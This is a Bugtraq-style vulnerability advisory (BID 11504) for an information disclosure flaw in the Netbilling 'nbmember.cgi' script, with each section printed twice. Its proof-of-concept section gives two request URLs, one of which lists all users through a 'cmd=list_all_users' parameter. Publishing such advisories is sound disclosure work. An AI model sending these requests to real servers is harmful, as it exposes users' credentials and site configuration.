Netbilling NBMEMBER Script Information Disclosure Vulnerability
BID:11504
Info
Netbilling NBMEMBER Script Information Disclosure Vulnerability
| Bugtraq ID: | 11504 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 22 2004 12:00AM |
| Updated: | Oct 22 2004 12:00AM |
| Credit: | Discovery is credited to ls. |
| Vulnerable: |
Netbilling nbmember.cgi |
| Not Vulnerable: | |
Discussion
Netbilling NBMEMBER Script Information Disclosure Vulnerability
Netbilling 'nbmember.cgi' script is reported prone to an information disclosure vulnerability. This issue may allow remote attackers to gain access to user authentication credentials and potentially sensitive configuration information.
Netbilling 'nbmember.cgi' script is reported prone to an information disclosure vulnerability. This issue may allow remote attackers to gain access to user authentication credentials and potentially sensitive configuration information.
Exploit / POC
Netbilling NBMEMBER Script Information Disclosure Vulnerability
No exploit is required.
The following proof of concept is available:
http://www.example.com/cgi-bin/nbmember.cgi?cmd=test
http://www.example.com/cgi-bin/nbmember.cgi?cmd=list_all_users&keyword=hereistheaccesskeyword
No exploit is required.
The following proof of concept is available:
http://www.example.com/cgi-bin/nbmember.cgi?cmd=test
http://www.example.com/cgi-bin/nbmember.cgi?cmd=list_all_users&keyword=hereistheaccesskeyword
Solution / Fix
Netbilling NBMEMBER Script Information Disclosure Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.